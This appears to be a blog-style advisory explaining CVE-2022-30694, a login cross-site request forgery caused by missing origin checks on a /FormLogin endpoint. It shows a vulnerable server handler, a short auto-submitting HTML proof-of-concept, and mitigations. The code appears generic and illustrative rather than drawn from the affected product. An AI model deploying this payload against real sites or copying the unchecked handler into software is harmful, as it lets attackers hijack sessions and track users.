A security vulnerability, identified as CVE-2022-30694, has been recently discovered in various web services. The presence of this vulnerability allows authenticated remote attackers to track the activities of other users through a login cross-site request forgery (CSRF) attack. The issue arises due to incorrect origin checking on the login endpoint /FormLogin in affected web services.

This article aims to provide an overview of CVE-2022-30694, code snippets to understand the flaw, original references, and details of potential exploits related to this issue. The content is written in simple American English for better clarity and understanding.

Vulnerability Details

CVE-2022-30694 is a security vulnerability involving the improper origin checking of the login endpoint /FormLogin in affected web services. As a result, a malicious attacker with authenticated access can potentially track the activities of other users without their consent, posing a privacy risk to these users.

To illustrate the vulnerability, consider the following code snippet for /FormLogin

<form action="/FormLogin" method="POST">
  <input type="text" name="username" />
  <input type="password" name="password" />
  <input type="submit" value="Login" />
</form>

The server-side logic that processes the login form does not apply proper origin checking, allowing for potential CSRF attacks:

app.post('/FormLogin', (req, res) => {
  const { username, password } = req.body;

  // No origin checking, allowing for CSRF attacks
  processLogin(username, password, (err, result) => {
    // ... More code ...
  });
});

Exploiting the Vulnerability

An attacker, who has authenticated access, can exploit this vulnerability to track the activities of other users by crafting a malicious web page that sends a forged request to the /FormLogin endpoint when visited by the victim. For example:

<html>
  <body>
    <form action="https://target.example.com/FormLogin"; method="POST" id="csrf_form">
      <input type="hidden" name="username" value="<ATTACKER_USERNAME>" />
      <input type="hidden" name="password" value="<ATTACKER_PASSWORD>" />
    </form>
    <script>
      document.getElementById('csrf_form').submit();
    </script>
  </body>
</html>

When another user visits the attacker's malicious web page, their browser automatically sends a forged request to the /FormLogin endpoint with the attacker's login credentials. If the victim user was already logged in, their session would be overwritten by the new login session, allowing the attacker to track their activities.

Original References

1. CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30694
2. National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-30694

Mitigations

- Upgrade to the latest version of the affected web services that contain a patch for the vulnerability.
- Implement proper origin checking on the login endpoint /FormLogin, such as comparing the request Referer header with a list of allowed origins or using CSRF tokens as part of the login form.
- Ensure that users are educated on the importance of not visiting untrusted websites to minimize the risk of CSRF attacks.

Conclusion

CVE-2022-30694 is a security vulnerability affecting multiple web services due to improper origin checking on the login endpoint /FormLogin. By exploiting this vulnerability, authenticated attackers can potentially track the activities of other users via a CSRF attack. To mitigate the risks associated with this vulnerability, web service administrators should upgrade to the patched versions of the affected services and implement proper origin checking mechanisms.

Timeline

Published on: 11/08/2022 11:15:00 UTC
Last modified on: 04/11/2023 10:15:00 UTC